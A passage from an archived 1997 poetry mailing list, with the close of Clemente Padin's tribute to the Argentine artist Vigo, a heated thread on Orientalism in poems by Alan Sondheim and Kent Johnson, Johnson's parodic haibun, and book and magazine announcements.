From the mid-60s, Vigo was a proponent of conceptualist tendencies in Latin America, above all the Conceptualism applied to undoing the mechanisms and instrumentation of the work of art and its relation to its spectators, not the Conceptualism of Kosuth's "Art is the definition of art." Vigo emphasized the self-referential qualities of the work that not only promoted ambiguity (the possibility of extreme polysemy) but also the possibility of the choice of the spectator in the final selection of meaning, causing him to be considered as co-author of the work itself. Vigo's project in this sense was crystallized in Poetry to and/or Realize, through which he tried to get the spectator to participate in the "constructive activation with which it is possible for the consumer to pass over to the category of creator" (From Process Poetry to Poetry to and/or Realize, Diagonal Zero, La Plata, 1970). Vigo continued with the I Expo de Proposiciones a Realizar (I Expo of Propositions to Realize) in 1971, which took place in the Cayc, Centro de Arte y Comunicacion (Art and Communication Center) of Buenos Aires, where, together with works received from all around the world, were brought together the artists Wlademir Dias-Pino (creator of Brazilian Process/Poem), Guillermo Deisler (the late Chilean visual poet), and the Uruguayans Francisco Accame (musician and sound poet), and myself.

On one of his first visits to our country, Vigo realized-during the "Exhibition of Avant-Garde Publications" organized by the magazine OVUM 10 in the Hall of the University of the Republic on September 30, 1970, the proposal "Demagogic Poem," a parody of the election process. Votes were cast in an urn with a round opening. The ballots were nothing but forms distributed by the performer in which the participant-creator was asked to express whatever he wanted, and then Vigo put the ballots, not folded but rolled up in the form of cylinders, into the special container.

At the beginning of the 1970s, Vigo joined the new currents of mail art, becoming one of its most regular creators until the day of his death. The military dictatorship of his country struck hard, causing one of his sons to disappear. Because of this disgraceful act, Vigo's work took on a strongly political character such that his contacts with foreigners were augmented, spreading the word about the brutal repression and crimes against humanity of this ferocious dictatorship. From this period came his work Trelew (1974), in memory of the 16 revolutionaries assassinated in the Trelew jail in southern Argentina on August 22, 1972. On each page of the book is a representation of each fallen body. From those sad moments Vigo lent his talent to the mobilizations of the "Mothers of the Plaza of May" (his collective visual poem "Sembrar la memoria" [To Seed Memory] was emblematic, realized in the large popular event "Everyone or No One" that the group "Ezcombros" organized in La Plata on December 9, 1995). In his last years, Vigo's work turned towards the light; he exhibited individually in the Tan Telmo Foundation (1991), where he had a retrospective show of his major works. In 1994, he was selected to form the Argentine section to the XXII Biennial of Sao Paulo, Brazil, thereby achieving world recognition in this area.

To conclude, allow me to include these words of Vigo's taken from his public declaration of 1968,"An Art to Realize," that will give us a more accurate idea of his project:

"Towards a touchable art that breaks in the artist the possibility of the use of "rotten" materials to the extreme that they produce the alienation of the hand of the observer -simple form of perception- that will stay in this position without the "epidermal" participation of the thing. Through use of "base" materials and for a delimiting quotidian context of the content. A touchable art that rejects the possibility of satisfying an "elite" that the artist has been forming to his regret, a touchable art that can be located in any home and not enclosed in Museums and Galleries. An art with mistakes that alienates the exquisite. Taking advantage to the maximum of the aesthetic of "surprise," through "occurrence" -primary act of creation- to be converted -already in for the masses form- into involving movements or for individuality congruence of intentionality-, in attitude. An art of expansion, of atrape for the ludic way, that facilitates active participation of the spectator, the absurd way. An art of signaling so that the quotidian escapes to the unique possibility of the functional. No more contemplation without action. No more exhibition without presentation. Where inert material, stable and fixed, takes its movement and necessary change so that the image is constantly modified. Finally: a contradictory art."

Only with some difficulty have I been able to touch on all or even some of the facets and dimensions of this indefatigable creator, barely able schematically to redeem Vigo's attitude towards art and the society in which he lived and

suffered. This artist subjected himself only to his own rules. All his life he was guided by ideas having to do with freedom. His work will last as long as there exists in people this desire for liberty that he tried to keep fresh by confronting the split of choosing between the various possibilities of signification (including that of altering meaning) that his works offered, thereby concretizing through that choice our deepest nature: the aspiration to freedom.

Montevideo, Uruguay, November 12,
1997

---

frat
ernally,

Clemente Padin
C.Correo Central 1211
11000
Montevideo
URUGUAY Fax (598) 2 915 94 17

↑ Index

87. Alan Myouka Sondheim

Re: Iroiro and Orientalism

Mon 8 Dec 1997

I'm curious as well about my Orientalism - is it because of the ma/mu gaps - my use of "iroiro" ("various") or local color mixing prints with the def. of Kyushu? or the fact that there's no correlation between our place in Hakata-ku and anything extruded in the text? Perhaps it's in the fact that I haven't understood the Tale of Genji correctly? Or read it in the wrong translation? (I didn't read it; I lied.) Perhaps it's in the florid language which goes nowhere, deliberately? I should have mentioned imperialism (long bow) but thought that shogi's origins in India and China were sufficient...

I bow corrected.

Alan

P.S. Who is "Lafcadio Hearn"?

↑ Index

88. Rachel Levitsky
Re: Iroiro and Orientalism
Mon 8 Dec 1997

But Dean Brink you still don't address the issue of textual specificity that Kenneth raises. I think rather than shaming us whose Japanese history fails your test of adequacy, it would help to have some pointers.

--R D Levitsky

↑ Index

89. Gwyn McVay
Line of Okay--Re: Iroiro and Orientalism
Mon 8 Dec 1997

Re orientalism, I respect the need not to blindly appropriate others' cultural baggage--the rich-hippies-in-"sweat lodges" phenomenon is a prime example--but I do wonder where the Line of Okay gets drawn. Like, I practice a Japanese form of Buddhism, and I like to read haiku and waka and tanka and renga and suchlike, and I adore sushi, but am nonetheless willing to concede that Japan's conformity principle is scary, its non-electronic consumer products can be cheesy, and its pizza is terrible. Is it okay to like Basho if you don't decorate your Stateside apartment in tatami? Wondering.

bests
Gwyn

ps. happy purported Bodhi day

↑ Index

90. KENT JOHNSON
Re: Iroiro and Orientalism
Mon 8 Dec 1997

On December 7, Dean Brink wrote:

> *History 101 for Kent Johnson:*

>You confuse the Japan that was a victim of imperialism (especially
>1853-1900) and the Japan that was a champion of imperialism
>(economic and military, especially from the 1890s until the end of
the War).

> *Maybe you should stick to imaginary people before you tackle the historical.*

Dean: Why do you assume I confuse anything? I said Japan had a long history of imperialism. But I don't doubt you know much more about Japan's history than I do. I would hope, since this is your advanced academic field, that you do!

But is this reply the best you can do? I asked you, out of sincere curiosity, to provide a close reading of Sondheim's poem so as to give evidence for your sarcastic attack on its "Orientalism." I thought this would be a good thing, since you have used this loaded term as a club in a number of posts to dismiss, censure, and insult. And you have done this with little or no textual evidence or support to justify your rebukes. (In fact, you have yourself admitted, in attacking two projects that I have been involved in, that you haven't even read what you are attacking!)

So once more: Here's your chance to go beyond jargon-slinging. Orientalism is a heavy and fascinating issue. Combine your knowledge of history with a close analysis of the poem in question, and show us _why_ you think as you do.

Kent

↑ Index

91. Mark Wallace
primitive publications
Mon 8 Dec 1997

Thanks to Patrick and others who requested info about my book and primitive publications!

Mary Hilton, the editor of primitive, may post a complete list of her available books some time this week. In the meantime, the address for primitive publications is 1706 U Street NW #102, Washington, D.C. 20009.

The cost of individual books from primitive is $4. Mary may be giving deals on complete sets. I don't know. She has also published books by Jeff Hansen, Sherry Brennan, Kristin Prevallet, and a fine chapbook of her own.

In the meantime, the best e-mail address at which to reach Mary is currently [redacted] The e-mail address which Steven Marks mentioned is still functional, but she seems to check it less often.

Mary is doing a wonderful production job on these chapbooks, and I hope you'll support her project.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:

| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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92. MLWeber
invitation to women writers
Mon 8 Dec 1997

I edit Sugar Mule, a literary magazine.

The upcoming issue (#4) will be composed of women's
writing with an emphasis on the natural world.

All genres from poetry to all types of prose are needed.

Please send only via email by 1/20/98

Thank you,
M. L. Weber, ed.

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93. Robert Archambeau
Fall '96 New Hampshire Conference
Mon 8 Dec 1997

Just noticed that the long-awaited Electronic Book Review #6 is now online, and along with an astonishingly high-caliber array of other stuff is Michael Barret's review of the "Assembling Alternatives" Conference attended by many listees last fall.

The review is at:

http://www.altx.com/ebr/reviews/rev6/r6barrett/r6bar.htm

and has been paired up with a review of a very different conference in a fascinatingly dialogic way. Check it out.

Bob
--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

the user experiences
no need of acting
    -Tom Raworth

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94. Jordan Davis
Poet to bring out creativity in retail staff
Mon 8 Dec 1997

Poets-in-residence are turning up in new places thanks to a 450,000 stg National Lottery grant to the UK's Poetry Society, according to an article in today's Financial Times. Peter Sansom has been appointed resident poet at Marks and Spencer, a British chain. Lavinia Greenlaw has taken a similar (though not funded by the lottery) appointment at the law firm Mishcon de Reya, at a salary of 10,000 stg a year. Marks & Spencer does not intend for the sales staff to reply to customers in verse, but they do hope to encourage the "creative side of [their] people".

antibiotics anyone?
Jordan

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95. KENT JOHNSON
Orientalist haibun (with cups of sake four)
Mon 8 Dec 1997

Dean:

It is because what we say is unfinished, always, that we can say without fear. The gatekeepers themselves, in speaking back law, say only what they have been given to say by signs. It is always unfinished. Thinking of this I gathered courage, making prostrations. The land to the East or West of us is there because we are here, speaking of it. (My sister wrote that.)

Anyway, when I arrived at the first gate, I was told I could not pass. The guards were dressed in coats of black scales, with half-moons of gold covering their mouths. They spoke in tongues from the West and told me to return there. Beyond their head-sets, sparks flew in the night across the wooden houses, and I imagined that those of the foreign community inside were shimmering and transparent so that their bones mingled as one with the tea-fires and the frozen flight of the cranes. (Awkward, but I am writing quickly here.) And then, by magic, Dean, the Western Guards became tethered to long and shiny poles of discourse (though it was dark and I couldn't quite see) and were spun round and round so that a breeze lightly scented with bream and salt cooled my face. I smashed the turtle's shell and passed boldly through the gate.

You see, it was the thought of Witter Bynner that led me on. I desired my dust to be mingled with his, forever and forever and forever. I also thought of the following things, though I would never dare to speak them openly:

The State of Hand Not Joined to Body
The State of Being Perfectly Not Here
The State of Disconsolate Thought of Wings
The State of Myouka Writing "Hand Not Joined to Body"
The State of Rose of the Snow Kimono
The State of Poem Written on Throat of Turtle
The State of Shikantaza as Loving Cunt Enfolding
The State of Kissing Son on Loving Lips
The State of Sons as Suicidal Aviators Exultant
The State of Being a Staff or Whisk
The State of Stillness in Self-Fulfilling Samadhi
The State Where the Moon Swallowing Is Brought Forth

Weary, I took a piss, making great steam in the Autumn grasses. Then, preparing ink on a large stone, I wrote:

[xx] shungyo ya hito koso shirane kigi-no ame [xx]
Which I choose to translate thus:
[mourning his son he crosses the hills with a large sack of eggs]

When I arrived at the second gate it was May, and all was in the State of Three Heads and Eight Arms as Rain on the Trees. The guard of this gate had the corpulent face and body of Amida, but I knew that was just a disguise. He spoke in hoarse whispers and in a language I could only understand by imagining. He told me to display wares in my laquer-bone-poet-box, and I did so. He told me to ornately describe the Eastern Suburbs with their alleys full of squatting whores and peddlars, and I did this. He told me to squat thusly and shit in my beggar's hat and I did so. He told me to write one wonder-haiku on cicada husk's soundless cry, and I did this, his sword suspended in threat above. I wrote:

Towa x ni x ikitashi x onna-no x koe x to x semi-no x ne x to
Which I choose to translate thus:
[my soul passes through those of others: hydragena exhibit]

Thus, this apparition vanished, and I went deeper into the mandala, having no idea where I was headed (and admittedly half-wishing I had heeded the cautionary advice of my grad school advisors). Wide-eyed, I witnessed:

The Room of Looking through a Bamboo Tube
The Room of Scholars Who Count Letters
The Room of Poets with Strings of Law Leading Back to Their Names
The Room of the Theory of Five Ranks

The Room of Mud Within Mud
The Room of Merely Being "In the Mountains"
The Room of Oneness Within Differentiation
The Room of Udumbara in Shameless Flower
The Room of "Life Streams Issue from Plum Blossoms"
The Room of Everyday Rice-Eating Activity
The Room of Sky with Palms Together
The Room of Mind Moon Alone and Full

I felt fear and trembling, I felt the insistent repetition of all phenomenal things, I felt an anxiety and dread of concepts that verged (is it possible to say it?) on the irony of Being itself, and I felt a sickness unto death. You see, Dean, I had come to the gate through which the masts of Foreign Ships are visible! It was like a forest after a great fire, or a city of people who have been burned to a crust but are still standing. And I realized that this was the Room of No Turning Back.

The guard here was dressed in elegant suit. He both was and was not (if you can imagine that!), like the brittle sumi-e I had seen at Eihei-ji: a single Not-Thinking stroke bringing sudden form out of no-form. He appeared to me as an American executive from Toshiba, and he brandished a scroll of unfair treaties, all inscribed in the most delicate calligraphy. He said I could pass only should I beat him in Poetry-Duel-to-Death. "I go first," he growled, "and my poem is titled 'State of Siege.'" He read in rapid-fire bursts, his voice screeching as ten-thousand shikirichi, and through the great roar of rushing waters' sound, this is what I heard:

shaving dace [...] now stomping [.....]
town wall [....] place for gossip or [...]
[.....]daughter's dream--silkworm dealers?[.....]but[..]
But [.....]market flooded. Why Pentium Chips if
[.....]waving fan--clay stove [..]
[.....] so [.....] no, [.....]
Ah, Hiroshima's blessing [...] fast track is [.....] better and
[.] for one thousand vats of nightsoil [.....] but legs
spread for love-making [.....] while far away [.....]
geisha expert [...] quick web-search for [.....]
thirty seven Mexicans suffocated in freight car clawing eyes out
[.....]

I was fearful and trembled at his fierce visage. A device for measuring time glowed with Oriental splendour on his wrist. Sparks flew in the night across the great wooden ships beyond. I knew now the foreigners had been waiting there, shimmering and transparent, for thousands and thousands of Springs. I dipped

my brush and raised it slowly back, knowing death-poem in my bones, knowing the darkness there in the glistening point of it... And I wrote:

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Which is untranslatable thus:
[ ]

And when I woke, drenched from the dream, it was my teacher, serene in Electric State of Coming Wonders, speaking to us in measured and instructional tones. And this is what I heard:

"This paradox cannot be mediated, for it depends specifically on this: In attachment blossoms fall, and in aversion weeds spread. The single individual is only the single individual. As [inaudible] as this single individual wants to express his absolute duty in the universal, becomes conscious of it in the universal, he recognizes that he is involved in a spiritual trial. [extended inaudible section] Do not be limited to the narrow views held by human beings. Even where there is no sun and moon, there is day and night." (I taped that.)

He was a monk from Japan. He was vegetarian and ate his rice and things with chopsticks. And I spoke every Orientalist dream that came to me that sesshin, into the black hole of his succulent, papery ear.

Kent

↑ Index

96. Mark Weiss
Re: Orientalist haibun (with cups of sake four)
Mon 8 Dec 1997

I enter where I have no business, but so be it. Perhaps what some find offensive is their familiar world being transformed by those to whom it is less familiar into a kind of science fiction (perhaps they feel that the daily lives of others are too available at this juncture to be treated without irony as exotica.) For myself the familiar so transforms itself often enough to keep me busy.

At 05:29 PM 12/8/97 -0500, you wrote:
>Dean:
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>It is because what we say is unfinished, always, that we can say
>without fear. The gatekeepers themselves, in speaking back law, say
>only what they have been given to say by signs. It is always
>unfinished. Thinking of this I gathered courage, making prostrations.
>The land to the East or West of us is there because we are here,

>speaking of it. (My sister wrote that.)
>
>Anyway, when I arrived at the first gate, I was told I could not
>pass. The guards were dressed in coats of black scales, with
>half-moons of gold covering their mouths. They spoke in tongues from
>the West and told me to return there. Beyond their head-sets, sparks
>flew in the night across the wooden houses, and I imagined that those
>of the foreign community inside were shimmering and transparent
>so that their bones mingled as one with the tea-fires and the frozen
>flight of the cranes. (Awkward, but I am writing quickly here.) And
>then, by magic, Dean, the Western Guards became tethered to long and
>shiny poles of discourse (though it was dark and I couldn't quite
>see) and were spun round and round so that a breeze lightly scented
>with bream and salt cooled my face. I smashed the turtle's shell and
>passed boldly through the gate.
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>[.....]waving fan--clay stove [..]
>[.....] so [.....] no, [.....]
>Ah, Hiroshima's blessing [...] fast track is [.....] better and
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>spread for love-making [.....] while far away [.....]
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>universal, becomes conscious of it in the universal, he recognizes
>that he is involved in a spiritual trial. [extended inaudible
>section] Do not be limited to the narrow views held by human beings.
>Even where there is no sun and moon, there is day and night."
>(I taped that.)
>
>He was a monk from Japan. He was vegetarian and ate his rice and
>things with chopsticks. And I spoke every Orientalist dream that
>came to me that sesshin, into the black hole of his succulent, papery
>ear.
>
>Kent
>
>

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97. Poetics List Administration

Two New Books from ROOF

Mon 8 Dec 1997

ROOF BOOKS
303 East 8th Street, New York, NY 10009
[redacted]

Contact: James Sherry [redacted]
[redacted]

Doubled Flowering

> *From the Notebooks of Araki Yasusada*

The materials of the Japanese poet Araki Yasusada (1907-1972), a survivor of Hiroshima, were published in Grand Street, Conjunctions, Abiko Quarterly, First Intensity, Stand, and The American Poetry Review. Gradually the rumor began circulating that Araki Yasusada did not exist and that the poems were a "hoax" perpetrated by the Japanese-American author Tosa Motokiyu or by his literary executor, the American poet Kent Johnson. On August 9th, 1997, Asahi Shimbun, Japan's leading newspaper, published a front page story on Araki Yasusada, accompanied by his apocryphal penciled portrait. The article, along with a subsequent feature story in the Asahi, has made Yasusada an emerging

literary sensation in Japan. Indeed, no other poetry in English in recent memory has provoked such wide-ranging international discussion and controversy before book publication. In major publications in the U.S., England, Australia, Mexico, Russia, Spain, Israel, and Italy, poets and critics have expressed excitement, hostility, and bewilderment toward Yasusada's idiosyncratic work. They have judged it as everything from a "racist inspired hoax" to an "imaginative gesture of profound beauty and empathy." Presented here for the first time in complete form, readers now have the chance to draw their own conclusions about Doubled Flowering and-if they read with understanding and care-to perhaps gain access to the mysteries of its origins.

Critical Acclaim for Araki Yasusada

"'Yasusasa's' writing is an entry into a spiritual space . . . It is a work of art in the largest sense." - Carolyn Forche

"The 'scandal' of these poems lies not in the problematics of authorship, identity, persona, race or history. Rather, these are wonderful works of writing that also invoke all of these other issues, never relying on them to prop up a text. In a time and place where book jacket blurbs routinely claim that X or Y poet has written a work that has "found that which is essential" in whatever, this book makes the argument for anti-essentialism. That it has done it so well infuriates folks with a proprietary interest in categories. Thank you, Araki Yasusada!" -Ron Silliman

"Knowing its fictitious nature, with a slight sense of disgust, I find Yasusada's poetry evil, and eerily beautiful." - Hosea Hirata, Assistant Professor of Japanese Literature, Tufts University

"Having edited the volume Atomic Ghost: Poets Respond to the Nuclear Age and having read a great deal of poetry on Hiroshima, both by hibakusha and non-hibakusha, I find Yasusada's 'Mad Daughter and Big-Bang' simply one of the most moving and revealing poems ever written on the effects of the Bomb. If we ignore the strange and wonderful writing we find in this book, future readers may judge the real fraud not Yasusada, but us." -John Bradley

"(The Yasusada author) has done a brilliant job in inventing a world at once ritualized and yet startlingly modern, timeless yet documentary, archaicized yet au courant--a poetic world that satisfies our hunger for the authentic, even though that authentic world is itself a perfect simulacrum. . . . Like Pound's Homage to Sextus Propertius, the Yasusada notebooks force us to go back to the 'originals,' so as to see what they really were and how they have been transformed." -Marjorie Perloff, Professor of Comparative Literature, Stanford University

"(It is) a mistake, I think, in having 'Kent Johnson' stand for the author. He/She/They should be known as the Yasusada Author, much as we refer to a Renaissance painter as the Master of the X Altar. . . . (Yasusada) is both the greatest poet of Hiroshima and its most unreliable witness."-Eliot Weinberger, Boston Review & The Village Voice

"Yasusada's manuscripts have attracted wide attention. Among the readers is included a poet who confessed that he was so moved that he "could not sleep." . . . Whether Yasusada's fictional texts are worth appraisal as that which expresses a desire for a union with the victims of the atomic bombs, or whether they are a beautiful but superficial composition which evades the issues of responsibility and guilt, one cannot find any sort of agreement among poets and critics in American circles. . . . In the wariness not unlike that of evading a taboo, one might feel an ripples of this scandal will reach further. One could not overlook then how the discussion will develop, particularly on the relation between the responsibility and guilt over the atomic bombs and the way literary fiction should pose itself in opposition to these heavy questions." -Akitoshi Nagahata, Asahi Shimbun

176 pp. ISBN: 0-937804-71-1 $14.95

SHI
A Radical Reading
of Chinese Poetry
by Yunte Huang

This book is not an attempt to grasp the "essence" of Chinese poetry, nor is it an endeavor to produce an over-polished version of English that claims aesthetic superiority over other works in the same field. It grapples rather with the nature of translation and poetry, and explores poetic issues from the perspective of translation and translation issues from the perspective of poetry. With its agenda hidden, translation is too often the handyman for the metaphysical, mystical, or universal notion of poetry. When emerging from obscurity, translation becomes an ally with poetic material and enacts the wordness of the words. This book strives to strengthen the alliance between translation and poetry.

"In this anthology of classic poetry from China, Yunte Huang transforms our sense of "Chineseness" by replacing the Orientalized scenic and stylistic tropes of traditional translations with multilevel encounters with the Chinese language. In acknowledging the foreigness of its source texts, this collection reimagines the task of translation and the possibilities for crosscultural points of contacts, in the process changing the way we read Chinese poetry." --Charles Bernstein, SUNY Buffalo

"Yunte Huang has created an intersting mode halfway between a hermeneutical cartography and a translation; this, to test and expand the reader's horizon of expectation." --Wai-Lim Yip, University of California at San Diego

ROOF BOOKS NEW YORK ISBN: 0-937804-72-X $9.95

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98. Alan Myouka Sondheim

Re: Orientalist haibun (with cups of sake four)

Mon 8 Dec 1997

On Mon, 8 Dec 1997, Mark Weiss wrote:

> I enter where I have no business, but so be it. Perhaps what some find
> offensive is their familiar world being transformed by those to whom it is
> less familiar into a kind of science fiction (perhaps they feel that the
> daily lives of others are too available at this juncture to be treated
> without irony as exotica.) For myself the familiar so transforms itself
> often enough to keep me busy.
>

It also depends on what is familiar. I am writing from the position of being a gaijin, so what is familiar is also unfamiliar and vice versa. It's not exotica for me, nor is it alien, nor is it not exotica, nor is it not alien.

It is similar to a situation expressed in Quebecois literature all the way back through Chamberland, but here there is a differentiation between else and other based on language and entrance.

I might add that Japanese writers write about and/or "American" as well, without PC censors around; I might also add that perhaps imperialisms have to be deconstructed here, as well as colonialisms in regard to these "nations" among others, but then again I am no expert on American history either.

Alan

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99. Dean A. Brink

Re: Orientalist haibun (with cups of sake four)

Mon 8 Dec 1997

Such literal imitations ringing of earlier imitations of haibun do not go too far beyond what is called in Japanese "direct translation style" (chokuyakutai). There are possibilities here that you may be able to polish into something more interesting and in tune with both what haibun writers have been doing and

what might be done. I would love to see the genre developed in English - it is far more interesting than haiku, because it doesn't so easly let the reader forget the context, which I think is important to the appreciation of most Japanese poetry. In English haiku have been presented as floating snippets of consciousness along the Way. In haibun the haiku means much more than a pithy breath unit.

But as it stands, even if we were to put aside the "defense of Orientalism" rhetoric framing your piece,
there are so many issues regarding the application of genres and voices,
it would seem hard to overcome
the 'pathos for feeling deeply' that is so overdramatized in Western emulations and so beautiful in
Classical Japanese poetry, i.e. waka (modern Japanese poetry is another can of genres).

I guess it is just such a "let's be pathetic" all around and "I'm okay, you're okay" in a great circle that doesn't work too well in much Orientalist writing in America. The problem is that Anglo-American poetry continues to locate Asia or Asian cultures as a Shangri-La of inspiration, a safe haven for the Muses driven out by the Enlightenment from Parnassus. The inspiration is often very sweet and sometimes mushy; the pathos is presented (and defended) as a form of anti-Intellectualism that sings spiritual truths in its own way by right of irrationality (which I can respect). It can seem to seek to push itself on the reader like a child writing for mommy and shaking on an apron. This is where the Orientalist pathos at least seems to go. Maybe all poetry is an apron thing.

What makes me cringe at (Orientalist) poetry is how it confuses historical escape with the literary (in the old-fashioned New Critical sense to boot). Such work only waters down the intensity of poetry and its cultural life (semiotic, discursive, peripheral...), relies on tropes of ambiguity and diffusion. In the long haul, we need more than distraction in poetry. Isn't that the idea of it: It seems that poetry that so deliberately pursues the ahistorical is like a sculptor of abstract human figures who does not know the feeling of others' bodies. Poetry is intimately ideological. Poetry with historical shells (cf. Hokusai's ghost) runs away from the problem of our context here and seeks to import one for inspirational nourishment. Fine, but it is not easy to graft traditions; it can be done. Becoming somewhat familiar with how this process occurred in 19 th century Japan with Western culture and poetry in particular, I would be happy to share my research. I think that more research on Japanese poetic discourse will help show how American imitations display shortcomings in terms of understanding the breadth of Japanese cultures (not all courtly or sacerdotal) and more developed understanding of Japanese rhetoric/poetics (this is no one's fault but mine - I'd be happy to develop my work on this if there is an interest in it).

Japanese poetry is not all good-natured (plenty of back-stabbing, sarcasm, and puns, many of these as political attacks)... is not all jovial, Buddha-nature-bearing childishly innocent (=truth = no mind = constant nothing) Way, and of course, very very few Japanese poems have a flying chance of alluding to "the sound of one hand swatting the frog into water: bleep" poetic that gets so much mileage.

One more item:

Weary, I took a piss, making great steam in the Autumn grasses. Then, preparing ink on a large stone, I wrote:

I really like this image, movement; however the diction does smack of the archaic ("Weary" [why not "tired"]) and of direct translation of Japanese or Chinese ("great"), and that is what can be called "playing the Orientalist card." If we really have respect for Asian cultures, the least we can do is not stereotype the language used in association with them (Buddhism, haibun, etc.). This is the legacy of bad translations and imitations (cf. the common use of "Chinatown," and the obsolete "Chinaman" - when used, were these celebrating Chinese culture or alienating and cordoning it off from the mainstream?). Similar issues exist today, just as obvious if you look for them.

dean brink

interpoetics - poetry of Asia and the Pacific Rim
www.w-link.net/~dean/interpoetics/index.html

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100. Alan Myouka Sondheim

Re: Orientalist haibun (with cups of sake four)

Mon 8 Dec 1997

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> the 'pathos for feeling deeply' that is so overdramatized in Western
> emulations and so beautiful in
> Classical Japanese poetry, i.e. waka (modern Japanese poetry is another
> can of genres).
>

Except that it is precisely _not_ about feeling deeply but about sur-

faces. Nor is it a defense of Orientalism; this is your charge - Orientalism - and therefore you create a Lyotardian differend here - to respond or not to respond. I have no thought except you misunderstood this, and probably the Fukuoka novel I wrote (which includes llamas) and sent to the list - not to mention the Jennifer/Julu materials.

These are fictions in a deeper sense - not pathos in a deeper sense - not feelings in a deeper sense - than you give credit for..

> problem is that Anglo-American poetry continues to locate Asia or Asian
> cultures as a Shangri-La of inspiration, a safe haven for the Muses
> driven out by the Enlightenment from Parnassus. The inspiration is often
> very sweet and sometimes mushy; the pathos is presented (and defended) as
> a form of antiIntellectualism that sings spiritual truths in its own way
> by right of irrationality (which I can respect). It can seem to seek to
> push itself on the reader like a child writing for mommy and shaking on
> an apron. This is where the Orientalist pathos at least seems to go.
> Maybe all poetry is an apron thing.
>
Except again that I am not espousing spiritual truths, and this work is connected with the other Clara-pieces ("Novel," and earlier stuff going back to Disorders of the Real).

My own thinking is the opposite; Japanese work off of Disneyland and all sorts of Amerikan-cultural objects/aspects here without a problem. Now do you call this Occidentalism, critique it the same way? I think that Japan, whatever, must be precious for you, untouchable - that any referencing is seen as an invasion. That it's _your_ territory.

By the way since Said's book at the least, I don't know the reference to "Orientalist" which needs deconstruction as well, or am I missing some- thing here?

> *What makes me cringe at (Orientalist) poetry is how it confuses historical escape with the literary (in the old-fashioned New Critical sense to boot). Such work only waters down the intensity of poetry and its cultural life (semiotic, discursive, peripheral...), relies on tropes of ambiguity and diffusion. In the long haul, we need more than distraction in poetry.*

This is an entirely different issue. I have used tropes of ambiguity and diffusion and for that matter so have Derrida and Jabes. Or do you find "Oriental poetry" whatever that is, full of them?

I _like_ diffusion in poetry, the spread of the word into the field, blahblah. (Blahblah reminds me so does Heiner Muller - it's not just a one-way street.)

Isn't that the idea of it: It seems that poetry
> that so deliberately pursues the ahistorical is like a sculptor of

> abstract human figures who does not know the feeling of others' bodies.
> Poetry is intimately ideological. Poetry with historical shells (cf.
> Hokusai's ghost) runs away from the problem of our context here and seeks
> to import one for inspirational nourishment.

Hokusai's ghost is less a shell if you live next to a cemetary here, which I do. But of course it's easier for an "Orientalist" to prejudge.

And "deliberately pursues the ahistorical" - no - just _might be_ a-hist- orical. Such as language poetry. I remember Clark Coolidge referencing the deaths of some spelunkers in Flag Flutter... He didn't know them - all the way from another state. Is that ok?

Fine, but it is not easy to
> graft traditions; it can be done.

Except I'm not "grafting traditions." Using a haiku for an english number count critiques haiku, inserting words of english-trite-haiku in the midst to point that out, go-moku as a scatter across it, since gaijin can at best play that without much skill.

> *Becoming somewhat familiar with how this process occurred in 19 th century Japan with Western culture and poetry in particular, I would be happy to share my research. I think that more research on Japanese poetic discourse will help show how American imitations display shortcomings in terms of understanding the breadth of Japanese cultures (not all courtly or sacerdotal) and more developed understanding of Japanese rhetoric/poetics (this is no one's fault but mine - I'd be happy to develop my work on this if there is an interest in it).*

There is an interest in it from this party at least, but not in relation to my work being called "American imitations," since again I feel you are totally missing the point. You read my material as "Orientalist" and then proceed to build upon this imaginary model (which holds almost nowhere today).
>
> Japanese poetry is not all good-natured (plenty of back-stabbing,
> sarcasm, and puns, many of these as political attacks)... is not all
> jovial, Buddha-nature-bearing childishly innocent (=truth = no mind =
> constant nothing) Way, and of course, very very few Japanese poems have a
> flying chance of alluding to "the sound of one hand swatting the frog
> into water: bleep" poetic that gets so much mileage.

I think this goes without saying. Nor is all Japanese poetry Buddhist. Nor does all Japanese poetry ignore Western models and subject matters. But of course that is a matter for Occidentalists to critique and misunderstand.

Alan

> *One more item:*
>
> *Weary, I took a piss, making great steam in the Autumn grasses. Then,*
> *preparing ink on a large stone, I wrote:*
>
> *I really like this image, movement; however the diction does smack of the archaic ("Weary" [why not "tired"]) and of direct translation of Japanese or Chinese ("great"), and that is what can be called "playing the Orientalist card." If we really have respect for Asian cultures, the least we can do is not stereotype the language used in association with them (Buddhism, haibun, etc.). This is the legacy of bad translations and imitations (cf. the common use of "Chinatown," and the obsolete "Chinaman" - when used, were these celebrating Chinese culture or alienating and cordoning it off from the mainstream?). Similar issues exist today, just as obvious if you look for them.*
>
> *dean brink*
>
> [redacted]
>
> *interpoetics - poetry of Asia and the Pacific Rim*
> *www.w-link.net/~dean/interpoetics/index.html*

↑ Index

101. **Alan Myouka Sondheim**

Re: Orientalist haibun (with cups of sake four)

Mon 8 Dec 1997

> >
> > One more item:
> >
> > Weary, I took a piss, making great steam in the Autumn grasses. Then,
> > preparing ink on a large stone, I wrote:
> >
> > I really like this image, movement; however the diction does smack of the
> > archaic ("Weary" [why not "tired"]) and of direct translation of Japanese
> > or Chinese ("great"), and that is what can be called "playing the
> > Orientalist card." If we really have respect for Asian cultures, the
> > least we can do is not stereotype the language used in association with
> > them (Buddhism, haibun, etc.). This is the legacy of bad translations and
> > imitations (cf. the common use of "Chinatown," and the obsolete

> > "Chinaman" - when used, were these celebrating Chinese culture or
> > alienating and cordoning it off from the mainstream?). Similar issues
> > exist today, just as obvious if you look for them.
> >
Just want to point out you might on the other hand see these lines work-
ing off of past Japanista translations, not off of contemporary Japan.
"Weary" works fine in either case; "great" would reference other mis-
recognitions among those who considered themselves literalists.

But of course if you hold to the purity of Japan, you are completely correct, and one _must_ use colloquial Americanisms (not English) as well.

Alan

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102. Harold Rhenisch

Re: Poet to bring out creativity in retail staff

Tue 9 Dec 1997

Ode to Marks & Spencer

Mark sands pence her
arc re ate if
peep hole who's hell
argh guile sock sly
Kell he ought died
for end heeze a
poe et they sell
frau zen fish hand
chip stew wit is
all it tell ling
land end ding land
is a land dove
poe et tree is
in its till now?

bye, hair rolled wren niche

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103. Mark Weiss

Re: Orientalist haibun (with cups of sake four)

Tue 9 Dec 1997

There's some smoke and mirrors here. I'll say my piece as clearly as I can, then I'm outa this. I don't give a damn about the political ramifications of what you

